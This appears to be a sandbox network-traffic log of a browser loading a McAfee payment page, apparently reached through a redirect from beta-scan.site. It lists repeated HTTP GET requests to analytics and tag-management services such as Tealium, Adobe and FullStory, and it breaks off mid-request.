Source: global traffic	HTTP traffic detected: GET /m2/mcafee12/mbox/json?mbox=target-global-mbox&mboxSession=e7ad738e0a10482dbf603618faf110ad&mboxPC=&mboxPage=705fe8494ea74d13b25915d152fa0737&mboxRid=316623a7d9fe48139cefb244904b63c9&mboxVersion=1.7.0&mboxCount=1&mboxTime=1727954379798&mboxHost=www.mcafee.com&mboxURL=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&mboxReferrer=https%3A%2F%2Fbeta-scan.site%2F&browserHeight=907&browserWidth=1280&browserTimeOffset=-240&screenHeight=1024&screenWidth=1280&colorDepth=24&devicePixelRatio=1&screenOrientation=landscape&webGLRenderer=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&at_property=c5361b70-0e91-9172-f979-5395b2ff43b1 HTTP/1.1Host: mcafee12.tt.omtrdc.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.mcafee.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m2/mcafee12/mbox/json?mbox=target-global-mbox&mboxSession=e7ad738e0a10482dbf603618faf110ad&mboxPC=&mboxPage=705fe8494ea74d13b25915d152fa0737&mboxRid=316623a7d9fe48139cefb244904b63c9&mboxVersion=1.7.0&mboxCount=1&mboxTime=1727954379798&mboxHost=www.mcafee.com&mboxURL=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&mboxReferrer=https%3A%2F%2Fbeta-scan.site%2F&browserHeight=907&browserWidth=1280&browserTimeOffset=-240&screenHeight=1024&screenWidth=1280&colorDepth=24&devicePixelRatio=1&screenOrientation=landscape&webGLRenderer=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&at_property=c5361b70-0e91-9172-f979-5395b2ff43b1 HTTP/1.1Host: mcafee12.tt.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.js HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.currency.js HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.js HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.v.js?a=mcafee/consumer-display/202409111540&cb=1727968787490 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.v.js?a=mcafee/consumer-display/202409111540&cb=1727968787490 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.331.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.356.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.361.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.516.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.528.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/tiqapp/utag.currency.js HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.529.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.331.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.539.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.547.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.361.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.516.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.548.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=3.1.2&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=A729776A5245B1590A490D44%40AdobeOrg&d_nsid=0&ts=1727968790195 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.mcafee.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.557.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.529.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.562.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.356.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.528.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=3.1.2&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=A729776A5245B1590A490D44%40AdobeOrg&d_nsid=0&ts=1727968790195 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=57375863586382987474250180290899850175
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=undefined HTTP/1.1Host: mcafeeinc.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=57375863586382987474250180290899850175
Source: global traffic	HTTP traffic detected: GET /active/mcafeedirect.jsp HTTP/1.1Host: www.upsellit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/fs.js HTTP/1.1Host: edge.fullstory.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.mcafee.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.562.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.557.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.547.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.548.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /utag/mcafee/consumer-display/prod/utag.539.js?utv=ut4.39.202409111541 HTTP/1.1Host: tags.tiqcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /365868.gif?partner_uid=57375863586382987474250180290899850175 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mcafeeinc.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /active/mcafeedirect.jsp HTTP/1.1Host: www.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/fs.js HTTP/1.1Host: edge.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/settings/CJB9Y/v1/web HTTP/1.1Host: edge.fullstory.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.mcafee.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomNTczNzU4NjM1ODYzODI5ODc0NzQyNTAxODAyOTA4OTk4NTAxNzUQABoNCJns-rcGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mcafeeinc.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=IWN6F2+EtYfEnZ8ybhUnDmf4m3pk+ETnhwzmg+UDYz0=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /s/settings/CJB9Y/v1/web HTTP/1.1Host: edge.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/740246542?random=1727968793142&cv=11&fst=1727968793142&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 